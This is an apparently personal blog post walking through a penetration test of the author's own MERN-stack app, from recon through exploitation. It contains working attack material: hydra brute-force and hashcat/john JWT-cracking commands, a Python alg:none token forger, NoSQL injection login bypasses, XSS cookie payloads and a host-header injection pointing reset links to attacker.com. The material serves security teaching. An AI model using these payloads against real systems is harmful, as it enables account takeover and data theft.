Post

MERN Web App Penetration Testing — Full Walkthrough

A full offensive security walkthrough against a MERN stack web application — from initial recon all the way through exploitation. Methodology I applied against my own live app.

MERN Web App Penetration Testing — Full Walkthrough

Overview

This is a documented penetration test against a MERN (MongoDB, Express.js, React, Node.js) web application I own. The goal is to go through the full offensive methodology — the same one I’m building through OSCP — and find real vulnerabilities before someone else does.

Target: MERN stack web app
Scope: Full application — frontend, backend API, authentication, database layer
Approach: Black box → Grey box (reviewing my own source after testing blind)


Phase 1 — Passive Recon

Before touching the target, collect as much information as possible without sending a single packet to it.

WHOIS and DNS

1
2
3
4
whois lucidflow.ai
nslookup lucidflow.ai
dig lucidflow.ai ANY
dig lucidflow.ai MX

What I’m looking for:

  • Registrar, registration date, expiry
  • Nameservers (Cloudflare? Route53? Namecheap?)
  • Mail server records — sometimes reveals hosting provider
  • IPv4/IPv6 addresses

Certificate Transparency Logs

Certificates are public record. I can find subdomains by looking at certs issued for the domain:

1
2
# Using crt.sh
curl -s "https://crt.sh/?q=%.lucidflow.ai&output=json" | jq '.[].name_value' | sort -u

This often reveals:

  • api.lucidflow.ai
  • admin.lucidflow.ai
  • staging.lucidflow.ai
  • dev.lucidflow.ai

Staging and dev environments are gold — they’re usually less hardened than production.

Wayback Machine / Cached Pages

1
2
# Check for old versions and exposed paths
curl "http://web.archive.org/cdx/search/cdx?url=lucidflow.ai/*&output=text&fl=original&collapse=urlkey"

Old cached pages sometimes show:

  • Removed endpoints that still work in the backend
  • Old login pages
  • Old API versions (/api/v1/ while current is /api/v2/)

Google Dorking

1
2
3
4
5
site:lucidflow.ai
site:lucidflow.ai filetype:json
site:lucidflow.ai inurl:api
site:lucidflow.ai ext:env OR ext:config OR ext:bak
"lucidflow.ai" inurl:admin

Phase 2 — Active Recon

Now I start sending requests to the target.

HTTP Header Analysis

1
curl -sI https://lucidflow.ai

Headers I look for:

HeaderWhat it means if missing
Strict-Transport-SecurityHTTP downgrade possible
Content-Security-PolicyXSS easier to exploit
X-Frame-OptionsClickjacking possible
X-Content-Type-OptionsMIME sniffing attacks
Referrer-PolicyToken/data leakage in referrer

MERN apps often skip these because the React frontend just calls an API — developers forget to set security headers on the Express server.

Tech Stack Fingerprinting

1
whatweb https://lucidflow.ai

Also check manually:

  • Response headers: X-Powered-By: Express reveals the backend immediately
  • Browser DevTools → Network tab: Look at response headers on every API call
  • Cookie names: connect.sid = Express-session, token = likely JWT
  • Error messages: A stack trace reveals Node.js version, package names, file paths

Port Scanning

1
nmap -sV -sC -p- lucidflow.ai --open

What I’m hunting for in a MERN app:

  • 27017 — MongoDB default port. If exposed to the internet with no auth = game over
  • 3000/8080 — Exposed development server
  • 22 — SSH with password auth enabled
  • 443/80 — Web server (expected)

Directory and Endpoint Fuzzing

React apps are SPAs — the frontend routes mean nothing to the backend. The real endpoints are on the Express API.

1
2
3
4
5
6
7
8
9
10
# Fuzz the API
ffuf -u https://lucidflow.ai/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,401,403 \
  -o api-fuzz-results.txt

# Common MERN API patterns
ffuf -u https://lucidflow.ai/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302,401,403

Look for:

  • /api/users — user list
  • /api/admin — admin panel
  • /api/debug — debug endpoints left open
  • /.env — exposed environment file
  • /graphql — GraphQL endpoint (needs its own testing methodology)

Phase 3 — Authentication Testing

Authentication is almost always the most vulnerable part of a MERN app.

Username/Email Enumeration

Try registering or resetting password with both a valid and invalid email. Compare responses:

1
2
3
4
5
6
7
POST /api/auth/forgot-password
{"email": "real@email.com"}
→ Response: "Reset email sent"

POST /api/auth/forgot-password
{"email": "fake@email.com"}
→ Response: "Email not found"

Different responses = enumeration vulnerability. An attacker can enumerate all registered users.

Correct behavior: Same response regardless of whether email exists.

Brute Force / Rate Limiting

1
2
3
4
5
# Test if rate limiting exists on login
hydra -l admin@lucidflow.ai -P /usr/share/wordlists/rockyou.txt \
  lucidflow.ai https-post-form \
  "/api/auth/login:email=^USER^&password=^PASS^:Invalid credentials" \
  -t 20

Most Node.js apps forget to add express-rate-limit. Without it:

  • Login endpoint can be brute forced indefinitely
  • Password reset can be spammed

JWT Testing

If the app uses JWTs (most MERN apps do), there are several attack vectors:

1. Decode the token — inspect the claims:

1
2
3
# JWT is base64 encoded — decode it
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2M..."  | \
  cut -d'.' -f2 | base64 -d 2>/dev/null | jq

Look at the payload:

1
2
3
4
5
6
{
  "userId": "64a1b2c3d4e5f6",
  "role": "user",
  "iat": 1685000000,
  "exp": 1685086400
}

2. Algorithm confusion — alg: none attack:

Change the header to {"alg":"none","typ":"JWT"} and remove the signature. Some libraries accept this:

1
2
3
4
5
6
7
# Craft a token with alg:none
python3 -c "
import base64, json
header = base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({'userId':'64a1b2c3d4e5f6','role':'admin'}).encode()).decode().rstrip('=')
print(f'{header}.{payload}.')
"

3. Weak secret brute force:

1
2
3
4
# Try to crack the JWT signing secret
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
# or
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt

If the secret is weak (secret, password, jwt_secret, app name) — attacker can forge any token.

Password Reset Flow

Test the full flow step by step:

  1. Token expiry — does the reset link expire? Try using it 24hrs later
  2. Token reuse — after resetting, does the old token still work?
  3. Token predictability — are reset tokens sequential or time-based?
  4. Host header injection:
1
2
3
POST /api/auth/forgot-password
Host: attacker.com
{"email": "victim@email.com"}

If the app uses req.headers.host to build the reset URL, the victim gets a link pointing to attacker.com — attacker captures the token.


Phase 4 — Authorization Testing (IDOR)

Insecure Direct Object Reference — accessing other users’ resources by changing an ID.

Horizontal Privilege Escalation

1
2
3
4
5
6
7
# Login as user A, get their profile
GET /api/users/64a1b2c3d4e5f6
Authorization: Bearer <user_A_token>

# Now change the ID to user B's ID
GET /api/users/64a1b2c3d4e5f7
Authorization: Bearer <user_A_token>

If you can see user B’s data with user A’s token = IDOR.

Vertical Privilege Escalation

1
2
3
4
5
# Normal user trying admin endpoint
GET /api/admin/users
Authorization: Bearer <normal_user_token>

# Should return 403 — if it returns data = broken access control

Also test HTTP method switching:

1
2
3
# GET might be restricted but POST/PUT/DELETE might not be
POST /api/admin/users
Authorization: Bearer <normal_user_token>

Mass Assignment

MERN apps often bind request body directly to MongoDB documents:

1
2
// Vulnerable code pattern
const user = await User.findByIdAndUpdate(req.params.id, req.body)

Try sending extra fields in a POST/PUT request:

1
2
3
4
5
6
7
{
  "username": "muhammed",
  "email": "new@email.com",
  "role": "admin",
  "isVerified": true,
  "credits": 9999
}

If the backend doesn’t whitelist fields, any property can be overwritten.


Phase 5 — Injection Attacks

NoSQL Injection (MongoDB-specific)

This is the MERN equivalent of SQL injection. MongoDB query operators can be injected via JSON:

Login bypass:

1
2
3
4
5
6
7
8
9
# Normal login
POST /api/auth/login
{"email": "admin@lucidflow.ai", "password": "wrong"}
→ 401 Unauthorized

# NoSQL injection — $ne (not equal) operator
POST /api/auth/login
{"email": "admin@lucidflow.ai", "password": {"$ne": ""}}
→ 200 OK  ← logged in without the password

Other useful operators:

1
2
3
{"password": {"$gt": ""}}      // greater than empty string = any password
{"password": {"$regex": ".*"}} // matches anything
{"email": {"$exists": true}}   // any email that exists

URL parameter injection:

1
2
3
4
5
6
7
# If the app uses query params
GET /api/users?username=admin
→ Returns admin user

# Inject operator
GET /api/users?username[$ne]=none
→ Returns ALL users

Stored XSS

React escapes output by default — but developers sometimes use dangerouslySetInnerHTML:

1
2
// Vulnerable React code
<div dangerouslySetInnerHTML= />

If any user input ends up in dangerouslySetInnerHTML, it’s stored XSS. Test all input fields:

1
2
3
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Also test fields that display other users’ data — profile names, comments, bio fields.

Server-Side Template Injection (SSTI)

If Node.js uses a templating engine (Handlebars, EJS, Pug) alongside React:

1
2
3
#{7*7}
<%= 7*7 %>

If the response shows 49 instead of the literal string, SSTI is present. From SSTI you can often reach RCE.


Phase 6 — API Security

CORS Misconfiguration

1
2
3
curl -sI https://lucidflow.ai/api/users \
  -H "Origin: https://evil.com" \
  -H "Authorization: Bearer <token>"

Check response headers:

1
2
3
Access-Control-Allow-Origin: *           ← bad — any site can read responses
Access-Control-Allow-Origin: evil.com    ← very bad — reflects arbitrary origin
Access-Control-Allow-Credentials: true   ← critical if combined with wildcard

A vulnerable CORS config + withCredentials: true lets an attacker’s website read the victim’s API responses.

Sensitive Data in API Responses

APIs often return more data than the frontend displays. Always check the raw response:

1
2
GET /api/users/me
Authorization: Bearer <token>

Response might include:

1
2
3
4
5
6
7
8
9
{
  "id": "64a1b2c3",
  "username": "muhammed",
  "email": "...",
  "password": "$2b$10$...",     hashed password  shouldn't be here
  "resetToken": "abc123",       reset token  definitely shouldn't be here
  "role": "user",
  "__v": 0
}

HTTP Method Testing

Test every endpoint with all HTTP methods:

1
2
3
4
5
6
7
for method in GET POST PUT PATCH DELETE OPTIONS; do
  echo "--- $method ---"
  curl -s -o /dev/null -w "%{http_code}" \
    -X $method https://lucidflow.ai/api/users \
    -H "Authorization: Bearer <token>"
  echo ""
done

An endpoint that returns 403 on GET might accept DELETE without auth.


Phase 7 — Sensitive File Exposure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Environment files
curl https://lucidflow.ai/.env
curl https://lucidflow.ai/.env.local
curl https://lucidflow.ai/.env.production

# Source maps (expose original source code)
curl https://lucidflow.ai/static/js/main.chunk.js.map

# Common config files
curl https://lucidflow.ai/config.json
curl https://lucidflow.ai/package.json
curl https://lucidflow.ai/webpack.config.js

# Git exposure
curl https://lucidflow.ai/.git/config
curl https://lucidflow.ai/.git/HEAD

A leaked .env file contains:

  • MONGODB_URI (database connection string with credentials)
  • JWT_SECRET (forge any token)
  • STRIPE_SECRET_KEY / payment API keys
  • AWS_SECRET_ACCESS_KEY

This is an instant full compromise.


Phase 8 — Infrastructure

MongoDB Port Check

1
nmap -p 27017 lucidflow.ai

If port 27017 is open:

1
2
mongo --host lucidflow.ai --port 27017
# If no auth: show dbs; use appdb; show collections; db.users.find();

MongoDB with no auth and public exposure = full database dump without any credentials.

Node.js Debug Mode

1
2
# Node inspector default port
nmap -p 9229,9230 lucidflow.ai

If open, remote code execution is trivial.


Findings Summary Template

After running all phases, document findings like this:

#VulnerabilitySeverityEndpointImpact
1NoSQL InjectionCriticalPOST /api/auth/loginAuth bypass
2Missing rate limitingHighPOST /api/auth/loginBrute force
3IDORHighGET /api/users/:idData exposure
4JWT weak secretHighAll authenticated routesToken forgery
5Missing CSP headerMediumAll responsesXSS impact amplified
6User enumerationLowPOST /api/auth/forgot-passwordAccount harvesting

Tools Summary

ToolPurpose
nmapPort scanning, service detection
ffufDirectory and endpoint fuzzing
curlManual HTTP request crafting
Burp SuiteIntercept, modify, replay requests
jwt.ioDecode and inspect JWT tokens
hashcat / johnCrack JWT secrets
hydraBrute force login endpoints
whatwebTech stack fingerprinting
PostmanAPI exploration

You can find me online at:

My signature image

This post is licensed under CC BY 4.0 by the author.